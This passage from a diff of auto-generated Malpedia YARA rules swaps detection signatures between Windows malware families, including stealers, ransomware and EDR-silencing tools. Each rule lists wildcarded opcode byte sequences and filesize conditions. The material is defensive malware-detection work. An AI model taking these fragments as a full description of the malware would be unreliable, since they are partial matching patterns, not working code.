+ $sequence_0 = { 8d85d4fdffff 50 e8???????? c9 } + $sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc } + $sequence_2 = { 51 8365fc00 8d45fc 50 68???????? 6801000080 ff15???????? } + $sequence_3 = { 8945f0 0fb705???????? 50 ff15???????? 668945ee } + $sequence_4 = { 68???????? 56 ff15???????? 83c41c 8d4601 5e eb09 } + $sequence_5 = { 7417 03f3 3bf7 7ccb eb2f 7d29 } + $sequence_6 = { 83cfff c6457300 3b7566 7cb5 3b7566 } + $sequence_7 = { 53 57 6a04 33ff 33db } + $sequence_8 = { 5b c9 c20800 81ec00040000 68???????? 68???????? ff15???????? } + $sequence_9 = { eb04 c645fb3d 6a05 8d45f8 50 ff750c c645fc00 } condition: - 7 of them and filesize < 724992 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Roopirs_Auto : FILE +rule MALPEDIA_Win_Heloag_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "48848479-790a-5ff7-91e3-208639c13d18" + id = "8ed63d6a-bd5d-5cf3-8c24-b83f34a89c57" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopirs_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heloag_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "81aa2556d7e68cc4aaa84172c724098a8fdf541552ef6b7b19cd3ea7889cf5e4" + logic_hash = "2f5a3d733baee006935f8eba431242cec5f8a5f8274d648625719943963ee673" score = 75 quality = 75 tags = "FILE" @@ -110876,34 +110980,40 @@ rule MALPEDIA_Win_Roopirs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 ff15???????? 50 8d55d0 52 ff15???????? 8d4dc8 } - $sequence_1 = { 7433 c745fc3e000000 8b4dd8 51 68???????? } - $sequence_2 = { ff15???????? 898544ffffff e9???????? c745fc07000000 8d5584 52 8b45dc } - $sequence_3 = { 8d45b8 50 ff15???????? 8bd0 8d4dd0 } - $sequence_4 = { 51 8b5508 8b4234 8b4d08 8b5134 8b0a 50 } - $sequence_5 = { 8d4dcc ff15???????? c745fc0d000000 6aff ff15???????? c745fc0e000000 } - $sequence_6 = { 8d4db8 ff15???????? 0fbf55b0 85d2 7433 c745fc2f000000 } - $sequence_7 = { 52 8b45b0 50 ff15???????? 898570ffffff eb0a c78570ffffff00000000 } - $sequence_8 = { ff15???????? 8d4db8 ff15???????? c745fc16000000 8b55d8 } - $sequence_9 = { 8b550c 8d4dd8 ff15???????? c745fc02000000 6a01 8b45d8 50 } + $sequence_0 = { 33c0 f3a5 8a0d???????? 8dbdadfdffff 888dacfdffff } + $sequence_1 = { a1???????? 6889130000 68???????? 8b4810 51 e8???????? 83f8ff } + $sequence_2 = { 3bc2 7e7f 33f6 ff15???????? 257f000080 7905 } + $sequence_3 = { 90 90 8b45e4 b919000000 25ffff0000 99 } + $sequence_4 = { 83c261 52 99 f7f9 8d85dcfdffff 83c261 52 } + $sequence_5 = { 50 68???????? ff15???????? 50 ffd3 8d8dd8fcffff } + $sequence_6 = { 99 f7f9 8b45c8 25ffff0000 } + $sequence_7 = { 8b0d???????? 8b15???????? 8985e0faffff 66a1???????? } + $sequence_8 = { 8b4e0c 3bcd 8b07 89442410 7464 } + $sequence_9 = { 50 53 8bcd ff15???????? 6a00 6a00 8bcd } + $sequence_10 = { 7505 a1???????? 894304 8b5608 895308 } + $sequence_11 = { f2ae f7d1 49 51 56 68???????? } + $sequence_12 = { 8b11 8bcf 52 6a00 50 } + $sequence_13 = { ff15???????? 8a4c2413 6a00 884c244c 8d4c244c } + $sequence_14 = { 53 68???????? 8d4c2420 ff15???????? } + $sequence_15 = { ff15???????? 84c0 7420 8b7d04 } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Anchor_Auto : FILE +rule MALPEDIA_Win_Unidentified_041_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bb15263f-399c-5701-ae36-ae60623792e3" + id = "9647b3bf-4e79-5038-aba8-fe9b062b7eaf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchor_auto.yar#L1-L210" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_041_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "00f136c31d3ac19e1483ba5e1be1e038dd18c931fe522c85d8ea96a7f9411021" + logic_hash = "ad11b25191c5069b1a65640fe7bbe0cd58f54821b3d55fbf4025b9ccae632082" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -110915,44 +111025,32 @@ rule MALPEDIA_Win_Anchor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6400365 eb0a 66c74001646c c640036c } - $sequence_1 = { 740c 66c740016578 c6400365 eb0a } - $sequence_2 = { 8bf8 f7e6 0f90c1 f7d9 0bc8 51 e8???????? } - $sequence_3 = { c1e102 51 6a00 50 a3???????? e8???????? } - $sequence_4 = { b001 5d c3 e9???????? 6a0c 68???????? e8???????? } - $sequence_5 = { 66894818 33c9 8b4608 6689581a 8b4608 5b } - $sequence_6 = { 33c9 8b461c 6689781a 8b461c 5f } - $sequence_7 = { 50 56 e8???????? 83bde8feffff10 8d85d4feffff } - $sequence_8 = { b101 e8???????? e8???????? 84c0 } - $sequence_9 = { 0bc1 4898 488d0d12920200 488b5528 } - $sequence_10 = { 4889842440140000 488bd9 4c63d2 498bc2 418be9 48c1f806 488d0db8020100 } - $sequence_11 = { 03c2 c1f802 6bc003 894504 } - $sequence_12 = { 034524 3b8520010000 760c c785f400000001000000 } - $sequence_13 = { 4881e9c0000000 48c1e108 4803c8 8bc1 488d9405bf090000 eb0c 8bc7 } - $sequence_14 = { 0bc1 488b4d48 8801 488b4548 } - $sequence_15 = { 03c8 8bc1 8985a4000000 488d8da8010000 } - $sequence_16 = { 498bcf e8???????? 498bc7 488b8d90000000 } - $sequence_17 = { 7ce8 488b4350 4903d1 b945000000 66890c50 } - $sequence_18 = { 488bfa 7203 488b3a ba20000000 488bcf e8???????? 33db } - $sequence_19 = { 00040f 830905 0000 83bd641a0000ff } - $sequence_20 = { 05e0930400 894544 8b5544 488b4508 } - $sequence_21 = { 0000 83bd641a0000ff 0f85fc040000 c6859412000000 } + $sequence_0 = { 8913 8b4dfc 8bc3 5f 5e 33cd 5b } + $sequence_1 = { 668945be 59 668b440dbc 6603440ddc 6689440dbe 83c102 83f91e } + $sequence_2 = { ff7508 57 53 ff15???????? 83f8ff 74c4 eb03 } + $sequence_3 = { 5d c20800 8325????????00 c3 55 8bec 8b4508 } + $sequence_4 = { 85ff 7428 3bf9 741c 8b75f8 8bd9 6a00 } + $sequence_5 = { 8d4dc4 c645fc00 e8???????? 8b4dec 6a18 58 03c8 } + $sequence_6 = { ff7508 68???????? 6a40 50 e8???????? 83c414 8d8578ffffff } + $sequence_7 = { 57 33db 53 ff15???????? 85c0 7552 ff15???????? } + $sequence_8 = { 72ee 81fbffffff7f 76e6 57 53 8d4dc0 e8???????? } + $sequence_9 = { 5d c20400 6a1c b8???????? e8???????? 8bf1 33db } condition: - 7 of them and filesize < 778240 + 7 of them and filesize < 1097728 } -rule MALPEDIA_Win_Powerduke_Auto : FILE +rule MALPEDIA_Win_Edr_Silencer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b1a14b33-ddbf-5df6-8a25-665602dd43b2" + id = "91d15ce1-a998-5572-89fb-85a860af50f1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerduke_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edr_silencer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edr_silencer_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "b0e443670552cebb99307ce5c81f7553239dfaab3a0b54a91654aba975b30757" + logic_hash = "36fd2a9fad325810fcce7416a9019a99b9100292037753c9fbfd0fd06391d993" score = 75 quality = 75 tags = "FILE" @@ -110966,32 +111064,32 @@ rule MALPEDIA_Win_Powerduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8401030000 8945bc 6a00 6800400000 68???????? ff75bc ff15???????? } - $sequence_1 = { ebea ad 89c2 81fa68747470 0f8586010000 } - $sequence_2 = { 681b000200 6a00 68???????? 6801000080 ff15???????? 09c0 0f8597000000 } - $sequence_3 = { 7518 8d85f4f7ffff 6800040000 50 ff35???????? ff15???????? 8d85f4f7ffff } - $sequence_4 = { 6a00 ff35???????? ff15???????? c705????????00000000 837dfc01 } - $sequence_5 = { 55 ff15???????? 5a 59 } - $sequence_6 = { c745fc01000000 eb11 c745d001000000 8b451c } - $sequence_7 = { 7403 41 ebf1 c6040e00 51 } - $sequence_8 = { 7419 a3???????? ff7514 50 ff15???????? c705????????01000000 31c0 } - $sequence_9 = { ff75e4 ff15???????? ff75c4 ff15???????? } + $sequence_0 = { e8???????? 898524030000 83bd2403000000 0f84b1000000 83bd2403000005 } + $sequence_1 = { e8???????? 85c0 0f84b7000000 4183ee57 4189fd 6690 } + $sequence_2 = { 488d154a7b0000 89442420 488d4c243e 480f44da 4c89e2 } + $sequence_3 = { 4889c1 488b05???????? ffd0 b801000000 4883c450 } + $sequence_4 = { 488b85d8010000 488b00 488b4008 4885c0 } + $sequence_5 = { e8???????? b801000000 e9???????? e8???????? 85c0 750a b801000000 } + $sequence_6 = { 4889c1 e8???????? 8945f8 837df800 7416 8b45f8 } + $sequence_7 = { b900000000 e8???????? 8945f8 837df800 7416 8b45f8 } + $sequence_8 = { 48894558 488b8518030000 488d4db0 488d5510 4989c9 } + $sequence_9 = { 488b05???????? ffd0 89c2 488d0d5fc70000 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 744448 } -rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE +rule MALPEDIA_Win_M0Yv_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "998eec42-f040-507e-9bef-931d28600d2d" + id = "9a129bc6-2344-5ff6-a3ef-18a2b58317ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshuffler_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.m0yv_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "2eb7cd664cf23b0f4478f6fc772120b42235dfe3815c8e843a34a2664a62760c" + logic_hash = "187d793321c420f42e54cfca36e40f43e077f8b56c43ac66dc5d6006d88beffc" score = 75 quality = 75 tags = "FILE" @@ -111005,34 +111103,34 @@ rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 660f282d???????? 660f59f5 660f28aa20a50210 660f54e5 660f58fe } - $sequence_1 = { 8d0486 894304 5f 8933 } - $sequence_2 = { f6c11f 0f85ad040000 8b41fc 3bc1 0f83a2040000 } - $sequence_3 = { 83f85b 757d 8b06 8b4e08 3bc1 } - $sequence_4 = { 837e4c29 8ad8 0f85fd000000 8b06 8b4e08 3bc1 } - $sequence_5 = { c7401c00000000 c7402000000000 8906 894604 8b4508 89460c 8bc6 } - $sequence_6 = { 8b4508 83c020 50 ff15???????? 5d c3 6a0a } - $sequence_7 = { e8???????? 8bce e8???????? 837e4cff b101 0f8555fcffff } - $sequence_8 = { 8d45b4 89458c 8d458c 51 50 51 e8???????? } - $sequence_9 = { 6685c0 0f84e7000000 6a00 8d4e24 } + $sequence_0 = { 4589d1 41c1f919 4501c1 4589c8 41c1f81a 4501d8 8811 } + $sequence_1 = { 4889ce e8???????? 31ff 4885db 744f 85c0 744b } + $sequence_2 = { 7418 4180783c02 755f 418ac3 24f0 3c40 7556 } + $sequence_3 = { 4801d8 480500000001 4803542420 4889c5 } + $sequence_4 = { b918000000 ff10 4885c0 740b c70002000000 897008 eb02 } + $sequence_5 = { 4d89ea 4a035cee08 4831cf 4889c1 48c1c11e 4889c6 4931fc } + $sequence_6 = { 4889f2 e8???????? 4c89e1 4c89e2 4989d8 e8???????? 4c8d4778 } + $sequence_7 = { 4869c2182d0700 4901c3 4c69d5d1150200 4d01fa 4869c267fb0900 } + $sequence_8 = { 4889dd 480fafee 4889ac2488000000 4c8d3c36 480faff6 4801ce 48635810 } + $sequence_9 = { b918000000 ff17 4885c0 7433 4889c6 c70006000000 } condition: - 7 of them and filesize < 425984 + 7 of them and filesize < 779264 } -rule MALPEDIA_Win_Friedex_Auto : FILE +rule MALPEDIA_Win_Avaddon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87cac36d-65df-59c3-8519-a2beb3554903" + id = "0c31fafc-c10e-58b1-9fee-fb7be191e4b5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.friedex_auto.yar#L1-L178" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avaddon_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "63043516012ac32e3e6d0450f407dc7719100d4d30f90ebfdb7b7cb46cef3e98" + logic_hash = "157dd793c1260894e97de0f6c4ec6c5a408218110364a6a1e7630b93b4914514" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -111044,38 +111142,32 @@ rule MALPEDIA_Win_Friedex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 7403 53 ffd0 6880000000 33db } - $sequence_1 = { 5f 5e 5d 5b 59 c20400 8b4c2404 } - $sequence_2 = { e8???????? 6a2f 8bc8 e8???????? 6a62 8bc8 e8???????? } - $sequence_3 = { 55 56 57 6a2a 5f 6a3f 5b } - $sequence_4 = { 7410 6a3f 5a 663bfa } - $sequence_5 = { 5e 5d c20c00 51 51 53 55 } - $sequence_6 = { ff760c ffd0 8b442408 5e c20400 } - $sequence_7 = { 897c2414 5d eb16 0fb730 } - $sequence_8 = { 83c414 5b 5d c3 8b45f0 8b0c850440a500 8b55f8 } - $sequence_9 = { c7424004000000 c7424458270000 c7424800100100 8b7de4 c787cc00000000000000 c787c800000000000000 8945dc } - $sequence_10 = { 8955dc e8???????? 8d0de830a500 890424 894c2404 e8???????? } - $sequence_11 = { 8d155e30a500 83ec04 891424 8945e8 } - $sequence_12 = { 55 89e5 8d055a23a500 5d c3 } - $sequence_13 = { 891424 894c2404 8945f8 e8???????? 8d0d4430a500 31d2 890c24 } - $sequence_14 = { 56 57 53 83ec54 8d055a23a500 } - $sequence_15 = { 890424 894c2404 e8???????? 8d0d4430a500 31d2 8b75f8 89462c } + $sequence_0 = { c7459408020000 837f1410 c7459810660000 c7459c20000000 7202 8b3f 0f1007 } + $sequence_1 = { bf20000000 0f1f00 84db 7574 ff75fc 57 ff75f8 } + $sequence_2 = { 0f4345d0 51 50 8d45e8 50 ff15???????? 837de410 } + $sequence_3 = { 83c404 3dff000000 7607 b8ff000000 eb09 83c0ff 0f886f000000 } + $sequence_4 = { 8b4dcc 8b45d0 030e 83c018 8b75d4 8b55c0 46 } + $sequence_5 = { 0bc8 51 e8???????? 8bcf 83c404 47 8bf0 } + $sequence_6 = { 8b4e08 b8ffffff07 2bca 47 c1f905 8bd1 d1ea } + $sequence_7 = { c78524fdffff00000000 c78528fdffff0f000000 c68514fdffff00 898d2cfdffff 8a08 40 84c9 } + $sequence_8 = { 51 8b4df0 e8???????? 83c410 83f8ff 750e 8d4510 } + $sequence_9 = { e8???????? 83c408 33c0 c745ac00000000 6689459c 8b45e8 c745b007000000 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 2343936 } -rule MALPEDIA_Win_Adylkuzz_Auto : FILE +rule MALPEDIA_Win_Metadatabin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4eb10972-cae7-59fc-a870-eebdff70e8df" + id = "bab038c8-9529-5be3-bcc9-7d10f8fe61a6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adylkuzz_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metadatabin_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "de5f91809dc8ef12371c16bfe87d826bfdd622a4d5fefa4fc686464cb89ee65c" + logic_hash = "407d015151f744f5ae0365f6bb52601cc8c31860d073c726bc5069058743c3e0" score = 75 quality = 75 tags = "FILE" @@ -111089,32 +111181,32 @@ rule MALPEDIA_Win_Adylkuzz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1c002 3bec f5 33d8 03f8 e9???????? 668b442500 } - $sequence_1 = { e8???????? 8b35???????? b9???????? 89d8 8b7b08 89f2 e8???????? } - $sequence_2 = { f8 81c508000000 f5 f9 8901 660fc1c0 81ee04000000 } - $sequence_3 = { f6c32d 3bce d2e8 6689442504 0fbfc2 660fb6c5 0fc8 } - $sequence_4 = { f7d8 33d8 663bd2 f5 03f8 ffe7 660fb6442500 } - $sequence_5 = { c7042400000000 b90b000000 89fa 89d8 e8???????? 85c0 7482 } - $sequence_6 = { df6c2428 eb77 837c241c08 0f8595020000 f744242000008000 7504 df2e } - $sequence_7 = { f7d0 8b06 f5 6685fb 33c3 f9 663bf0 } - $sequence_8 = { 8b5034 39d1 0f47ca f6c740 7408 8b5038 39d1 } - $sequence_9 = { e8???????? 8b5e08 83fb03 7518 8b16 b9fbffffff 89e8 } + $sequence_0 = { 8d9424b8000000 e8???????? 83bc248800000005 0f848d010000 f20f108c2498000000 f20f108424a0000000 f20f10942488000000 } + $sequence_1 = { c745e4c0834000 894dd0 8d4dc0 c745d402000000 89c2 897de8 8975ec } + $sequence_2 = { b911000000 89df f3a5 f20f108c2474050000 f20f1094246c050000 f20f1084247c050000 f20f118c24b8030000 } + $sequence_3 = { b001 84c9 0f859cfeffff 8b461c 6a01 68???????? ff7618 } + $sequence_4 = { 8b470c 83780400 7421 8b5f08 83780809 7308 e8???????? } + $sequence_5 = { ff76fc e9???????? 0fb64e2c 85c9 0f84a2000000 83f903 0f84b2000000 } + $sequence_6 = { e8???????? 0f0b 660f1f840000000000 55 89e5 83ec08 8b4508 } + $sequence_7 = { 8a4220 0f1002 8b4a10 8b5214 8845dc 8d45e0 0f1145bc } + $sequence_8 = { c68424010c000000 c78424c00b00003e000000 c68424020c000000 c78424c00b00003f000000 c68424030c000000 c78424c00b000040000000 8db424c00b0000 } + $sequence_9 = { 89de 8b9c24a0020000 135c2478 13542424 138424a0000000 03bc2430010000 135c2414 } condition: - 7 of them and filesize < 6438912 + 7 of them and filesize < 1263616 } -rule MALPEDIA_Win_Pay2Key_Auto : FILE +rule MALPEDIA_Win_Darkmegi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e07d004-8ab0-5ac0-b5f3-02a0577c17ab" + id = "e022205f-532d-5998-8adc-7461a155f6b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pay2key_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmegi_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "bffaa691493d14e2f3352a01cee177c0e343912969f9938647f417173ef48232" + logic_hash = "186562bccca029dc0a54ad2573032322c99b928af1a23f4cf752d54c2cfd880f" score = 75 quality = 75 tags = "FILE" @@ -111128,32 +111220,32 @@ rule MALPEDIA_Win_Pay2Key_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c707???????? 5f 5e 8be5 5d c3 c6470400 } - $sequence_1 = { 0f8412000000 83a50ce6fffffe 8b8dfce5ffff e9???????? c3 } - $sequence_2 = { c60000 8d4540 6a00 50 e8???????? 83ec18 c645fc05 } - $sequence_3 = { 8bce ff5004 8b45f0 8b4d0c 8907 8b4514 895f04 } - $sequence_4 = { 8d4e34 c645fc09 c741140f000000 c7411000000000 83791410 7204 8b01 } - $sequence_5 = { 8db758030000 8b4614 83f808 720b 40 8bce 50 } - $sequence_6 = { c7411000000000 8b4114 894754 c7411400000000 8b5d10 c745fc00000000 8b0b } - $sequence_7 = { c745fc01000000 8b4de0 85c9 7414 8b01 8b4010 ffd0 } - $sequence_8 = { 8886b2000000 c686b300000001 c7411407000000 c7411000000000 83791408 7204 8b01 } - $sequence_9 = { c645fc01 8d45a8 6a00 50 8d4dd8 c745ec0f000000 c745e800000000 } + $sequence_0 = { 33f6 6804010000 50 56 ff15???????? 8d8c2488090000 } + $sequence_1 = { 3bd9 7cd2 8806 5f 5e 5d 5b } + $sequence_2 = { 57 8b7c2414 57 e8???????? 8b542414 83c404 8d4c2408 } + $sequence_3 = { 8d0440 8b8c8420010000 c6040a00 8b442410 } + $sequence_4 = { f2ae 8bcd 4f c1e902 f3a5 8b842464020000 } + $sequence_5 = { 85c0 0f849f000000 8dbc246c020000 83c9ff 33c0 } + $sequence_6 = { 8d04c0 8b0c8d40a7b402 f644810401 8d0481 7403 8b00 } + $sequence_7 = { 5d 5b c3 8b542414 5f 5e 5d } + $sequence_8 = { 8bac24a8020000 53 66ab aa } + $sequence_9 = { 3bf8 0f8d43010000 8d4c2414 8d942498030000 51 } condition: - 7 of them and filesize < 2252800 + 7 of them and filesize < 90304 } -rule MALPEDIA_Win_Astralocker_Auto : FILE +rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "61f3cae7-a5fe-5b6d-bea1-61609c1203ae" + id = "1f91473e-0f59-5d43-b31c-36e662e7cb73" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.astralocker_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arkei_stealer_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "b238aeedb1c86d89326b9be21dc83bdad9113ec500a78f62720bc92f0fb68cd1" + logic_hash = "ce62b8dc4f39a6203176e1a77c002f4403d000ee3dbdbb3ae02c853f65ed371e" score = 75 quality = 75 tags = "FILE" @@ -111167,32 +111259,32 @@ rule MALPEDIA_Win_Astralocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d2 33f6 891401 89740104 b808000000 6bc800 8b5508 } - $sequence_1 = { 51 8b14d0 52 e8???????? 83c408 8945f4 8955f8 } - $sequence_2 = { 891401 89740104 b808000000 6bc800 } - $sequence_3 = { 891401 89740104 b808000000 6bc800 8b5508 8b440a04 } - $sequence_4 = { 8955f0 ba08000000 6bf200 8b45ec } - $sequence_5 = { ba08000000 6bf200 8b45ec 8b55f0 b11a } - $sequence_6 = { 6bc80a 8b5508 33c0 33f6 89040a } - $sequence_7 = { 6bc20a 8b4d08 33d2 33f6 891401 89740104 } - $sequence_8 = { 8b5508 8b440a04 50 8b0c0a 51 e8???????? } - $sequence_9 = { 8b4508 8b4cd004 51 8b14d0 52 e8???????? 83c408 } + $sequence_0 = { 0f849ffeffff ba424d0000 668955ec 8b4620 8b0e 8d1481 } + $sequence_1 = { 57 57 68000000c0 68???????? ff15???????? 8bf8 } + $sequence_2 = { 52 57 8945f6 ff15???????? 85c0 0f8458feffff 8b4e20 } + $sequence_3 = { 6689460c 668b4dd6 66894e0e 6683fb18 } + $sequence_4 = { ff15???????? 85c0 74be 8b45e0 } + $sequence_5 = { 8d55ec 52 57 8945f6 } + $sequence_6 = { 895608 668b45d4 6689460c 668b4dd6 66894e0e } + $sequence_7 = { 8b16 8d448a0e 6a00 8d4de4 51 6a0e } + $sequence_8 = { 74be 8b45e0 8d55c4 52 6a18 50 } + $sequence_9 = { 57 8945e8 ffd3 6a0a 57 8bf0 } condition: - 7 of them and filesize < 191488 + 7 of them and filesize < 1744896 } -rule MALPEDIA_Win_Datper_Auto : FILE +rule MALPEDIA_Win_Unidentified_112_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "41e2fa7a-5eff-5187-bc28-c757ee1b0d1c" + id = "088f625c-ef85-5039-b4a6-57af0a7b0b6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.datper_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_112" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_112_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "d82b0dc20d83d1add855bab184abefd8ce45a5aa4fc977d43e37a534a15fd25f" + logic_hash = "fc462a31ea1db66fb5cf9697b2cccafd272c6a5cfa6825d7930166b5fbdba921" score = 75 quality = 75 tags = "FILE" @@ -111206,32 +111298,32 @@ rule MALPEDIA_Win_Datper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c64428ff21 45 4b 75ee 81c4a0000000 5d 5f } - $sequence_1 = { 8d8580feffff e8???????? c78588feffff04000000 33c0 } - $sequence_2 = { 41 46 4a 85d2 75e8 5f 5e } - $sequence_3 = { 8b03 e8???????? 8b95d8efffff b8???????? e8???????? } - $sequence_4 = { e8???????? 8d8500f0ffff 33c9 ba00100000 e8???????? } - $sequence_5 = { bf14000000 8d95c4d7ffff 8bcf a1???????? e8???????? } - $sequence_6 = { c78568d7ffff0c000000 33c0 89856cd7ffff c78570d7ffffffffffff 6a00 6a01 8d8568d7ffff } - $sequence_7 = { b805000000 e8???????? 83c003 8bd8 85db 7e29 b81a000000 } - $sequence_8 = { 8945f8 8d45fc ba00280000 e8???????? 8b4508 } - $sequence_9 = { 030424 13542404 83c408 0fb600 } + $sequence_0 = { 53 4883ec38 488daa80000000 48817d70ff7f0000 762e c6858f00000000 c6858e00000000 } + $sequence_1 = { e8???????? 84c0 0f8496000000 b12c e8???????? 84c0 0f8487000000 } + $sequence_2 = { 498d4850 498b5040 4d8b4048 ff5010 4883bde001000000 7525 488b85d8020000 } + $sequence_3 = { e8???????? 498b4e50 ba50000000 41b808000000 e8???????? 488b45f0 49894650 } + $sequence_4 = { c1ea13 448d0c12 478d0c89 4429c8 0c30 8841ff 48ffc9 } + $sequence_5 = { e8???????? 84c0 0f841bf5ffff 488b05???????? 488b08 488b4138 4885c0 } + $sequence_6 = { 56 57 53 4883ec28 488daa80000000 488b8d48100000 488bb550100000 } + $sequence_7 = { c685de01000000 488d8d50010000 e8???????? eb71 488b8550010000 488b8d58010000 488b9560010000 } + $sequence_8 = { ba22000000 e8???????? e9???????? c685e305000001 488d0d4bd01500 4c8d053cd31500 ba22000000 } + $sequence_9 = { eb56 31f6 4989dd bf03000000 eb4a 0fb7ca 25ff030000 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 7317504 } -rule MALPEDIA_Win_Entryshell_Auto : FILE +rule MALPEDIA_Win_Socksbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6aaf8e64-ed2e-5afd-ab35-8772e849151b" + id = 